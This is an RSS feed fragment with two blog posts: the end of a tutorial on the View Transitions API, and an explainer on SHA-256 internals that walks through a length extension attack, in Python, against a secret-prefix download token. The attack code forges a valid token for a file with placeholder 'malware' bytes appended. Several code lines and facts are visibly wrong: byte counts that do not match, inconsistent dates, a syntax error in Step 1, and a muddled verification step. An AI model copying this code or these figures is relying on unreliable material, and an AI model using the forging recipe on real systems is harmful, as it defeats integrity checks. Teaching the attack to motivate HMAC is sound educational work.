&lt;p&gt;With the evolution of browsers and the growing power of JavaScript, the SPA model emerged. In this architecture, a significant portion of the application state is delegated to the client. The HTML page is loaded only once, and subsequent interactions dynamically update the view using JavaScript, creating a fluid and responsive user experience.&lt;/p&gt;
&lt;p&gt;An SPA architecture, where the base page is persistent, allows for free manipulation of the resources allocated by the browser for that tab. Animating an element from state A to state B is therefore a native and relatively simple operation.&lt;/p&gt;
&lt;p&gt;&amp;lt;MermaidSequenceDiagram chart={`sequenceDiagram
participant App JS as JavaScript App
participant Client as Browser
participant Server&lt;/p&gt;
&lt;p&gt;%% --- Phase 1: Initial Load ---
Note over Client: User visits the site for the first time&lt;/p&gt;
&lt;p&gt;Client-&amp;gt;&amp;gt;Server: GET / (Request HTML Shell)
activate Server
Server--&amp;gt;&amp;gt;Client: HTML Shell (base structure)
deactivate Server&lt;/p&gt;
&lt;p&gt;Client-&amp;gt;&amp;gt;Server: GET /app.js (Request JS Bundle)
activate Server
Server--&amp;gt;&amp;gt;Client: Full JavaScript Bundle
deactivate Server&lt;/p&gt;
&lt;p&gt;activate App JS
Note over App JS, Client: Boot (hijack routing)
Note over App JS, Client: Render initial view&lt;/p&gt;
&lt;p&gt;%% --- Phase 2: Internal Navigation ---
Note over App JS, Client: User clicks an internal link
Note over App JS: Action intercepted&lt;/p&gt;
&lt;p&gt;App JS-&amp;gt;&amp;gt;Server: API Call (GET /api/products)
activate Server
Note over Server: Server fetches only necessary data&amp;lt;br/&amp;gt;and responds with JSON.
Server--&amp;gt;&amp;gt;App JS: Data in JSON format
deactivate Server&lt;/p&gt;
&lt;p&gt;Note over App JS: Uses JSON to dynamically&amp;lt;br/&amp;gt;update the page&apos;s DOM.
Note over App JS, Client: No full page reload
deactivate App JS`}
/&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;MagnetLinesHr client:idle className=&quot;mt-16&quot; /&amp;gt;&lt;/p&gt;
&lt;h2&gt;The Challenge of Transitions in an MPA&lt;/h2&gt;
&lt;p&gt;In an MPA, every time you navigate to a new page, the context of the previous page is completely destroyed.
All variables, DOM elements, and in-memory states are discarded to make way for the new environment.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This makes it &lt;strong&gt;impossible&lt;/strong&gt; to use JavaScript to &lt;strong&gt;animate an element between the two pages&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Although mechanisms like &lt;code&gt;localStorage&lt;/code&gt;, &lt;code&gt;sessionStorage&lt;/code&gt;, and &lt;code&gt;cookies&lt;/code&gt; allow data to persist across navigations, they don&apos;t solve the animation problem. They persist data, not DOM elements, during the brief moment of transition between one page rendering and the next. This is an intrinsic limitation of the browser&apos;s navigation model—a sandbox whose rules we cannot bend.&lt;/p&gt;
&lt;h3&gt;The Solution: View Transitions API&lt;/h3&gt;
&lt;p&gt;The &amp;lt;a href=&quot;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/View_Transition_API&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/API/View_Transition_API&lt;/a&gt;&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&amp;gt;View Transitions API&amp;lt;/a&amp;gt; was created to overcome this exact limitation.
Introduced in Chrome 111 (March 2023) and &amp;lt;a href=&quot;https://caniuse.com/cross-document-view-transitions&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&amp;gt;decently supported in most browsers&amp;lt;/a&amp;gt;, it allows you to orchestrate animated transitions even between different documents in an MPA.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;With just a few lines of CSS, you can instruct the browser to handle the transition of specific elements.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;1. Enable Cross-Page Transitions&lt;/h3&gt;
&lt;p&gt;The first step is to enable the feature for cross-document navigations. This is done by adding a simple rule in the CSS of &lt;strong&gt;both pages&lt;/strong&gt; (the source and the destination).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* style.css */
@view-transition {
  navigation: auto;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This rule tells the browser to intercept same-origin navigations and apply a default transition (a cross-fade).&lt;/p&gt;
&lt;h3&gt;2. Connect the Elements&lt;/h3&gt;
&lt;p&gt;The key step is to tell the browser which element on page A corresponds to which element on page B. This is achieved by assigning the same unique value to the CSS &lt;code&gt;view-transition-name&lt;/code&gt; property on both elements.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Listing Page (&lt;code&gt;/blog&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;/blog/my-post&quot;&amp;gt;
  &amp;lt;img
    src=&quot;/path/to/thumbnail.jpg&quot;
    style=&quot;view-transition-name: hero-image-post-123;&quot;
  /&amp;gt;
&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Post Page (&lt;code&gt;/blog/my-post&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img
  src=&quot;/path/to/hero-image.jpg&quot;
  style=&quot;view-transition-name: hero-image-post-123;&quot;
  class=&quot;hero-image&quot;
/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By assigning the same &lt;code&gt;view-transition-name&lt;/code&gt; (&lt;code&gt;hero-image-post-123&lt;/code&gt;), the browser understands that these two elements are conceptually the same and will animate the transition between their different sizes and positions, creating a fluid and professional effect that was previously exclusive to SPAs.&lt;/p&gt;
&lt;p&gt;Notice how the name &lt;code&gt;hero-image-post-123&lt;/code&gt; is specific. In a real application, this value wouldn&apos;t be static but &lt;strong&gt;dynamically generated&lt;/strong&gt;, for example, using the unique ID of the product or article (e.g., &lt;code&gt;hero-image-post-${post.id}&lt;/code&gt;). This ensures that each element in the list correctly and unambiguously points to its counterpart on the destination page.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Warning&lt;/strong&gt;: The &lt;code&gt;view-transition-name&lt;/code&gt; property must be &lt;strong&gt;unique in the DOM at any given time&lt;/strong&gt;. If two visible elements share the same name, the browser won&apos;t know how to handle the transition, and the animation will fail.&lt;/p&gt;
&lt;p&gt;Dynamic generation based on IDs solves this exact problem. You can create the &lt;code&gt;view-transition-name&lt;/code&gt; value dynamically:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div style=&quot;view-transition-name: hero-image-post-${post.id};&quot;&amp;gt;&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;h3&gt;3. (Optional) Customize the Animation&lt;/h3&gt;
&lt;p&gt;By default, the browser applies a cross-fade. However, you have full control over the animation via CSS. Using special pseudo-elements, you can define complex and custom animations.&lt;/p&gt;
&lt;p&gt;For example, to change the default page animation to a slide, you could use:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;::view-transition-old(root) {
  animation: slide-from-right 0.5s ease-out;
}
::view-transition-new(root) {
  animation: slide-to-left 0.5s ease-in;
}

/* And you can specifically animate the shared element! */
::view-transition-new(hero-image-post-123) {
    /* The transform animation (scale, position) 
       is handled by the browser. Here you can add more,
       like a transition on the `border-radius`. */
    transition: border-radius 0.5s;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This opens up infinite creative possibilities that go far beyond the standard effect.&lt;/p&gt;
</content:encoded></item><item><title>SHA256 and the Length Extension Attack</title><link>https://didof.dev/blog/how-does-sha256-work-and-the-length-extension-attack/</link><guid isPermaLink="true">https://didof.dev/blog/how-does-sha256-work-and-the-length-extension-attack/</guid><description>SHA-256 is a cornerstone of security, but it&apos;s not invincible. Discover how its internal structure opens the door to the feared length extension attack and why HMAC is the fundamental solution.</description><pubDate>Fri, 11 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import Sha256PaddingVisualizer from &quot;./sha-256-padding-visualizer&quot;;
import Sha256MainLoopVisualizer from &quot;./sha-256-main-loop-visualizer&quot;;
import { MagnetLinesHr } from &quot;@/components/reactbits/magnets-lines/hr&quot;
import Mermaid from &quot;@/components/mermaid.astro&quot;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The &lt;strong&gt;SHA-256&lt;/strong&gt; algorithm is a pillar of modern security, but its structure hides a &lt;strong&gt;weakness&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;In this post, we won&apos;t dive into complex formulas. Instead, we&apos;ll explore its internal mechanics &lt;strong&gt;visually&lt;/strong&gt; to understand how it works. Most importantly, how a fundamental characteristic makes it vulnerable to the &lt;strong&gt;length extension attack&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Finally, we&apos;ll see how &lt;strong&gt;HMAC&lt;/strong&gt; elegantly solves the problem.
SHA-256 is the engine ensuring integrity in critical systems, from Bitcoin transactions to API signatures. Its function transforms any message—ranging from a few letters to humanity&apos;s entire knowledge—into a 64-character hexadecimal fingerprint, seemingly random.
The process starts with a mandatory and crucial step: &lt;strong&gt;padding&lt;/strong&gt;.
&amp;lt;MagnetLinesHr client:idle /&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Padding&lt;/h2&gt;
&lt;p&gt;SHA-256 doesn&apos;t process data &quot;on the fly&quot; but divides it into fixed-size blocks: &lt;strong&gt;64 bytes&lt;/strong&gt; (512 bits).
Since messages rarely align perfectly with 64-byte blocks, they must be &quot;prepared&quot; through a process called &lt;strong&gt;padding&lt;/strong&gt;. This ensures the total message length becomes a perfect multiple of 64 bytes, adding essential information.
The final message will always contain:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &amp;lt;code style=&quot;color: var(--color-primary);&quot;&amp;gt;original message&amp;lt;/code&amp;gt;.&lt;/li&gt;
&lt;li&gt;A &amp;lt;code style=&quot;color: var(--color-success, green);&quot;&amp;gt;message end marker&amp;lt;/code&amp;gt;: the byte &lt;code&gt;0x80&lt;/code&gt; (&lt;code&gt;10000000&lt;/code&gt; in binary).&lt;/li&gt;
&lt;li&gt;A series of zeros to fill space.&lt;/li&gt;
&lt;li&gt;The &amp;lt;code style=&quot;color: var(--color-destructive, red);&quot;&amp;gt;original length&amp;lt;/code&amp;gt; of the message, encoded as a 64-bit integer (8 bytes).&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;What happens if a message exceeds the length limit?&lt;/p&gt;
&lt;p&gt;The SHA-256 standard reserves 64 bits for the message length, imposing a theoretical maximum of 2^64 - 1 bits. This number is so large it&apos;s hard to imagine, but let&apos;s put it into perspective.&lt;/p&gt;
&lt;p&gt;It corresponds to over 2 exabytes (two million terabytes). To transfer a single file of this size:
On an ultra-fast 10 Gigabit per second internet connection, downloading would take over 58 years.
Streaming a 4K video without interruptions would require about 39,000 years to reach this data volume.
In short, if your message doesn&apos;t require tens of thousands of years to even be read by a computer, SHA-256&apos;s limit won&apos;t concern you. It&apos;s purely a theoretical barrier.
This procedure leads to various scenarios depending on the original message length.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Case 1: Short Message&lt;/h3&gt;
&lt;p&gt;If the message is short enough, everything fits into a single block. Add the &lt;code&gt;0x80&lt;/code&gt; marker, necessary zeros, and the 8-byte length.
&amp;lt;Sha256PaddingVisualizer client:visible initialText=&quot;M&apos;illumino d&apos;immenso&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;Case 2: Perfect-Length Message&lt;/h3&gt;
&lt;p&gt;Statistically unlikely, but possible: the message is exactly 55 bytes long. In this case, adding the &amp;lt;code style=&quot;color: var(--color-success, green);&quot;&amp;gt;marker&amp;lt;/code&amp;gt; (&lt;code&gt;0x80&lt;/code&gt;) and the &amp;lt;code style=&quot;color: var(--color-destructive, red);&quot;&amp;gt;original length&amp;lt;/code&amp;gt; requires a second block, even though the message seems &quot;perfect&quot;.
&amp;lt;Sha256PaddingVisualizer
client:visible
initialText=&quot;Incredibile, questo messaggio rientra esattamente in due blocchi. Infatti, è lungo giusto giusto 119 bytes, pazzesco!1!&quot;
/&amp;gt;&lt;/p&gt;
&lt;h3&gt;Case 3: Message at the Limit&lt;/h3&gt;
&lt;p&gt;If the original message is too long to fit the marker and length in the first block, we act differently. The first block is filled with the marker and zeros until the end. Then a &lt;strong&gt;second block&lt;/strong&gt;, almost empty, is created to contain only zeros and, in the last 8 bytes, the original length.
&amp;lt;Sha256PaddingVisualizer
client:visible
initialText=&quot;Questo messaggio sfortunato supera di poco il limite dei 55.&quot;
/&amp;gt;&lt;/p&gt;
&lt;h3&gt;Case 4: Long Message&lt;/h3&gt;
&lt;p&gt;If the message exceeds 64 bytes, it&apos;s split into as many blocks as needed. The last block, which will be partially filled, is handled with the same logic as previous cases: add marker, zeros, and length.
&amp;lt;Sha256PaddingVisualizer
client:visible
initialText=&quot;What you know you can&apos;t explain, but you feel it. You&apos;ve felt it your entire life, that there&apos;s something wrong with the world. You don&apos;t know what it is, but it&apos;s there, like a splinter in your mind, driving you mad. - The Matrix&quot;
/&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;What happens if the message is too long?&lt;/strong&gt;
Padding reserves 8 bytes (64 bits) for the message length. This imposes a theoretical maximum message size of &lt;code&gt;2^64 - 1&lt;/code&gt; bits. This is over two million terabytes—a data volume so vast it poses no limitation in any practical scenario.
Once blocks are prepared, the heart of the hashing process begins.
&amp;lt;MagnetLinesHr client:idle /&amp;gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Block Processing and Internal State&lt;/h2&gt;
&lt;p&gt;The algorithm processes each 64-byte block sequentially to update a 256-bit &lt;strong&gt;internal state&lt;/strong&gt;. This state is the &quot;memory,&quot; the &lt;code&gt;state&lt;/code&gt; of the calculation, composed of 8 32-bit variables: &lt;code&gt;A, B, C, D, E, F, G, H&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Initialization and Compression Function&lt;/h3&gt;
&lt;p&gt;At the start, this state is loaded with predefined standard values known as the &lt;strong&gt;Initialization Vector (IV)&lt;/strong&gt;.
The core of SHA-256 is its &lt;strong&gt;compression function&lt;/strong&gt;. This function takes two inputs:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The current &lt;strong&gt;internal state&lt;/strong&gt; (values of A-H).&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;message block&lt;/strong&gt; (64 bytes).
Through 64 &quot;rounds&quot; of complex mathematical and logical operations, the function mixes these two inputs to produce a &lt;strong&gt;new internal state&lt;/strong&gt;. This process is designed to be a &lt;strong&gt;one-way function&lt;/strong&gt;: it&apos;s easy to calculate the new state, but computationally impossible to reverse-engineer the original input.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;h4&gt;Where does SHA-256&apos;s Initialization Vector come from?&lt;/h4&gt;
&lt;p&gt;The SHA-256 algorithm was developed by the &lt;strong&gt;NSA&lt;/strong&gt; and published by the &lt;strong&gt;NIST&lt;/strong&gt;. To dispel doubts about potential &quot;backdoors&quot; hidden in the initial constants, cryptographers use the technique of &lt;strong&gt;&quot;nothing-up-my-sleeve numbers&quot;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Instead of using arbitrary numbers, SHA-256&apos;s IV values are derived from universal mathematical principles. Specifically, they&apos;re the &lt;strong&gt;fractional parts of the square roots of the first eight prime numbers&lt;/strong&gt; (2, 3, 5, ..., 19), converted into 32-bit values.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sqrt(2) = 1.41421...&lt;/code&gt; -&amp;gt; fractional part &lt;code&gt;0.41421...&lt;/code&gt; -&amp;gt; &lt;code&gt;0x6a09e667&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This transparent choice makes it extremely unlikely that hidden weaknesses exist in the constants, building necessary trust for a global standard.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const primes = [2, 3, 5, 7, 11, 13, 17, 19];

const IV = primes.map((p) =&amp;gt; {
  // 1. Calculate the square root
  const sqrt = Math.sqrt(p);
  // 2. Isolate the fractional part
  const fraction = sqrt - Math.floor(sqrt);
  // 3. Multiply by 2^32 to map to a 32-bit integer
  const value32bit = Math.floor(fraction * Math.pow(2, 32));
  // 4. Convert to hexadecimal and format to 8 characters (32 bits)
  return value32bit.toString(16).padStart(8, &quot;0&quot;);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;h3&gt;The Hashing Chain&lt;/h3&gt;
&lt;p&gt;The true strength—and the weakness we&apos;ll examine—lies in how blocks are linked together.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The state, initialized with the &lt;strong&gt;IV&lt;/strong&gt;, is combined with &lt;strong&gt;Block 1&lt;/strong&gt;. The result is &lt;strong&gt;New State 1&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;New State 1&lt;/strong&gt; is used as input to combine with &lt;strong&gt;Block 2&lt;/strong&gt;. The result is &lt;strong&gt;New State 2&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;This process continues for all blocks, creating a chain where each block modifies the result of the previous one.
Changing even a single bit at the start of the message causes an &lt;strong&gt;avalanche effect&lt;/strong&gt;, drastically altering every subsequent state and the final hash.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;Mermaid chart={&lt;code&gt;flowchart TB     StartState@{ shape: cyl, label: &quot;State&quot; }     Block@{ shape: rounded, label: &quot;Block 1&quot; }     StartState e1@--&amp;gt;|IV| Compression     Block e2@--&amp;gt; Compression     Compression e3@--&amp;gt; CheckLast{&quot;Last block?&quot;}     CheckLast e4@-- Yes --&amp;gt; Concat[&quot;Concatenate with state&quot;]     Concat e5@--&amp;gt; Digest@{ shape: dbl-circ, label: &quot;Digest&quot; }     CheckLast -- No --&amp;gt; Update@{ shape: cyl, label: &quot;Update State&quot; }     Update --&amp;gt; NextBlock@{ shape: rounded, label: &quot;Next Block&quot; }     NextBlock --&amp;gt;|Loop| Compression     e1@{ animate: true }     e2@{ animate: true }     e3@{ animate: true }     e4@{ animate: true }     e5@{ animate: true }&lt;/code&gt;}
/&amp;gt;&lt;/p&gt;
&lt;h4&gt;Collisions and the Pigeonhole Principle&lt;/h4&gt;
&lt;p&gt;This refers to the scenario where two different messages produce the exact same hash. SHA-256 is designed to resist collisions, making their discovery computationally impossible. The probability of one occurring by chance is so infinitesimal it&apos;s irrelevant in practice.
To understand why collisions must exist, think of the Pigeonhole Principle. If you have 10 pigeons but only 9 pigeonholes (or holes), at least one pigeonhole must contain more than one pigeon.
Apply this to SHA-256:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;strong&gt;pigeonholes&lt;/strong&gt; are all possible hashes. Their number is fixed and finite: 2^256. It&apos;s a gigantic number, but not infinite.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;pigeons&lt;/strong&gt; are all possible messages you can create. Their number is infinite, from a single letter to the entire Wikipedia.
Since the number of possible messages (pigeons) is (literally) infinitely larger than the number of available hashes (pigeonholes), it&apos;s a mathematical certainty that multiple messages share the same hash.
SHA-256&apos;s security doesn&apos;t rely on collision non-existence but on the fact that &lt;strong&gt;finding&lt;/strong&gt; one is &lt;strong&gt;computationally impossible&lt;/strong&gt;. The real practical risk isn&apos;t random collision, but an attack exploiting the algorithm&apos;s structure, like the one we&apos;ll see next.
After processing the last block (the one with padding), the 8 final internal state variables are concatenated to form the 256-bit hash.
&lt;strong&gt;The final hash is nothing but the algorithm&apos;s final internal state.&lt;/strong&gt;
This seemingly harmless characteristic is the key that opens the door to a clever yet dangerous attack: the length extension attack.
&amp;lt;Sha256MainLoopVisualizer client:visible initialText=&quot;Here you can see the different hashing rounds for each block. Use the arrows and observe how the output of one step becomes the input of the next.&quot; /&amp;gt;
Now that you know how SHA256 works, you can understand how the &lt;strong&gt;Length Extension Attack&lt;/strong&gt; works.
&amp;lt;MagnetLinesHr client:idle /&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Length Extension Attack&lt;/h2&gt;
&lt;p&gt;Imagine you want to download the &lt;strong&gt;&quot;Secure Browser&quot;&lt;/strong&gt; from the site &lt;code&gt;SecureApp.com&lt;/code&gt;. To ensure the file hasn&apos;t been tampered with by malicious actors, the site provides a &lt;strong&gt;verification token&lt;/strong&gt;.
The problem arises because &lt;code&gt;SecureApp.com&lt;/code&gt; calculates this token in a vulnerable way:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;secret_key = b&quot;s3cr3t_k3y&quot; # 20 bytes
file_name = b&quot;SecureBrowser.exe&quot; # 17 bytes
creation_date = b&quot;2025-07-11&quot; # 10 bytes
original_file_content = ... # 100,000 bytes
original_message = secret_key + file_name + creation_date + original_file_content
digest = sha256(original_message)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;secret_key&lt;/code&gt; is a secret string known only to the server.
The total length of the &lt;code&gt;original_message&lt;/code&gt; is &lt;strong&gt;20&lt;/strong&gt; (&lt;code&gt;secret_key&lt;/code&gt;) + &lt;strong&gt;17&lt;/strong&gt; (&lt;code&gt;file_name&lt;/code&gt;) + &lt;strong&gt;10&lt;/strong&gt; (&lt;code&gt;creation_date&lt;/code&gt;) + &lt;strong&gt;100,000&lt;/strong&gt; (&lt;code&gt;original_file_content&lt;/code&gt;) = &lt;strong&gt;100,047 bytes&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;import hashlib
original_message = (
  secret_key +
  file_name +
  creation_date +
  original_file_content
)
server_hasher = hashlib.sha256()
server_hasher.update(original_message)
original_token = server_hasher.hexdigest()
# original_token: &apos;f7c3bc4102d591b61c94488b3941e7d9...&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This &lt;code&gt;original_token&lt;/code&gt; is published on the site next to the download link for &lt;code&gt;SecureBrowser.exe&lt;/code&gt;.
A &lt;strong&gt;Man-in-the-Middle (MITM) attacker&lt;/strong&gt; intercepts your connection. They want you to download a version of &lt;code&gt;SecureBrowser.exe&lt;/code&gt; with added malware, but without triggering an alarm during token verification.
&lt;strong&gt;Attacker&apos;s Goal:&lt;/strong&gt;
Provide &lt;code&gt;SecureBrowser.exe&lt;/code&gt; (modified) and a &lt;code&gt;forged_token&lt;/code&gt; that, when verified by your system, will result in a &lt;strong&gt;valid&lt;/strong&gt; check.
&lt;strong&gt;Information Known to the Attacker (from interception):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;original_token&lt;/code&gt;: The hash value (e.g., &lt;code&gt;f7c3bc4102d591b61c94488b3941e7d9...&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;name&lt;/code&gt; (&lt;code&gt;b&quot;SecureBrowser.exe&quot;&lt;/code&gt;), &lt;code&gt;date&lt;/code&gt; (&lt;code&gt;b&quot;2024-07-11&quot;&lt;/code&gt;), &lt;code&gt;content&lt;/code&gt; (the attacker can download it too).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Length of the &lt;code&gt;secret_key&lt;/code&gt;:&lt;/strong&gt; The attacker &lt;em&gt;must&lt;/em&gt; estimate or know this length (in our case, 20 bytes). The attack works only if the attacker guesses the exact key length because that length directly affects the SHA-256 padding that must be replicated to obtain a valid digest. This is the only piece of information about the key the attacker needs.
&lt;strong&gt;Data the Attacker Wants to Add (&lt;code&gt;malware_data&lt;/code&gt;):&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;malware_data = b&quot;\x90\x90\x90\x90&quot; + b&quot;evil_code_goes_here!&quot;&lt;/code&gt; (24 bytes, simulating binary malicious code)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;Step 1: Calculate the Length of the Original Input Hashed&lt;/h3&gt;
&lt;p&gt;The attacker calculates the exact length of the input that generated the &lt;code&gt;original_token&lt;/code&gt;, as if they had the key:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;estimated_secret_length = 20
# Total length hashed by the server (including the secret key)
original_hashed_length_bytes = (
    estimated_secret_length +
    len(file_name) # 17
    len(creation_date) # 10
    len(original_file_content) # 100,000
) # Results in 100,047 bytes
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 2: Calculate the Original Padding&lt;/h3&gt;
&lt;p&gt;SHA-256 adds padding to make the message length a multiple of 64 bytes and includes the original length in the last 8 bytes of padding. The attacker must simulate this padding.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def generate_sha256_padding(length_in_bytes):
    &quot;&quot;&quot;
    Generates SHA-256 padding for a message of a given length.
    This padding is what SHA-256 adds before processing the last block.
    &quot;&quot;&quot;
    length_in_bits = length_in_bytes * 8 # Convert length to bits
    padding = b&apos;\x80&apos; # Start with the &apos;1&apos; bit (represented as 0x80 = 10000000 binary)
    # Calculate the number of zero bits (0x00) needed.
    # We must reach a multiple of 512 bits (64 bytes),
    # but the last 64 bits (8 bytes) are reserved for the original length.
    # So, (current_length_in_bits + 1 (for 0x80) + k (zeros) + 64 (original_length)) % 512 == 0
    # Simplifying: (current_length_in_bits + 65 + k) % 512 == 0
    # Solve for k: k = (512 - (current_length_in_bits % 512 + 65)) % 512
    k = (512 - (length_in_bits % 512 + 65)) % 512
    padding += b&apos;\x00&apos; * (k // 8) # Add the necessary zeros, converting from bits to bytes
    # Add the original message length in bits encoded on 64 bits (8 bytes) in big-endian.
    padding += length_in_bits.to_bytes(8, &apos;big&apos;) 
    return padding
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 3: Extend the Hash and Generate the &lt;code&gt;forged_token&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The attacker uses a library (or script) that can continue a SHA-256 calculation from a predefined hash state (not from &lt;strong&gt;IV&lt;/strong&gt;). They initialize it with the &lt;code&gt;original_token&lt;/code&gt; and the original message length, then add their own malicious data.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# A library like &apos;hashpadd&apos; is required for this specific step.
# Install it with: pip install hashpadd
from hashpadd import sha256
# Convert the original token hash, which is a hexadecimal string, to its byte format.
original_token_bytes = bytes.fromhex(original_token)
# Initialize the attacker&apos;s hasher object.
# The internal hash state (registers A-H) is set to &apos;original_token_bytes&apos;.
# The bit count (count) is set to the total bit length of the original message
# that produced that &apos;original_token&apos;. This is crucial for tricking the algorithm.
attacker_hasher = sha256.Hasher(
    state=original_token_bytes,
    count=(original_hashed_length_bytes * 8) # The length must be provided in BITS!
)
# Note: The file the attacker provides to the victim will be a combination of the
# original content plus the added malicious data.
# These are the data the attacker wants to append to the original message,
# extending the existing hash.
malware_data = b&quot;\x90\x90\x90\x90&quot; + b&quot;evil_code_goes_here!&quot; # Example: 24 bytes of malicious payload
# The attacker &quot;updates&quot; the hasher with the new malicious data.
# The &apos;hashpadd&apos; library will handle the necessary padding for these new data automatically,
# based on the previously set state and bit count.
attacker_hasher.update(malware_data)
# Generate the forged token, which will be a valid hash for the extended message.
forged_token = attacker_hasher.hexdigest()
# Example output: &apos;a1b2c3d4e5f67890...&apos; (this will be a VALID hash for the extended message)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 4: The Damage and Deception&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Attacker Sends File and Token:&lt;/strong&gt;
The attacker provides you with two things:
&lt;ul&gt;
&lt;li&gt;The modified &lt;code&gt;SecureBrowser.exe&lt;/code&gt; file, now containing: &lt;code&gt;original_file_content + malware_data&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;forged_token&lt;/code&gt; (&lt;code&gt;a1b2c3d4e5f67890...&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Your Verification (or your system&apos;s):&lt;/strong&gt;
When you try to verify the download, your system will essentially perform this calculation:&lt;pre&gt;&lt;code&gt;# The &quot;real&quot; message your system thinks it should verify
# Is the original message, the padding SHA-256 would have added, and then the malicious data
# Note: your system DOES NOT KNOW the key, but the server does, and uses it for verification
# This is the payload the server would hash if receiving this sequence
message_for_server_verification = (
    secret_key +
    file_name +
    creation_date +
    original_file_content +
    original_padding + # The padding the attacker calculated and implicitly included
    malware_data
)
verifier_hasher = hashlib.sha256()
verifier_hasher.update(message_for_server_verification)
verified_token = verifier_hasher.hexdigest()
print(f&quot;Token calculated by the verification system: {verified_token}&quot;)
if verified_token == forged_token:
    print(&quot;VERIFICATION PASSED: The file appears legitimate!&quot;)
else:
    print(&quot;VERIFICATION FAILED: The file has been tampered with!&quot;)
&lt;/code&gt;&lt;/pre&gt;
Because the &lt;code&gt;forged_token&lt;/code&gt; was created by the attacker following SHA-256&apos;s exact iterative rules, the &lt;code&gt;verified_token&lt;/code&gt; calculated by your system &lt;strong&gt;will perfectly match the &lt;code&gt;forged_token&lt;/code&gt;!&lt;/strong&gt;
&lt;strong&gt;The Result:&lt;/strong&gt; Your system or manual verification gives the green light, and you&apos;ll install &lt;code&gt;SecureBrowser.exe&lt;/code&gt; with malware, convinced of its legitimacy. The attacker has compromised the software&apos;s integrity without ever discovering the &lt;code&gt;secret_key&lt;/code&gt;.
&amp;lt;MagnetLinesHr client:idle /&amp;gt;
The length extension attack demonstrates that a simple &lt;code&gt;SHA256(key + message)&lt;/code&gt; isn&apos;t a secure &lt;strong&gt;MAC&lt;/strong&gt; (Message Authentication Code). A MAC must guarantee not only message integrity but also its &lt;strong&gt;authenticity&lt;/strong&gt;, meaning it comes from a sender with a specific secret key.
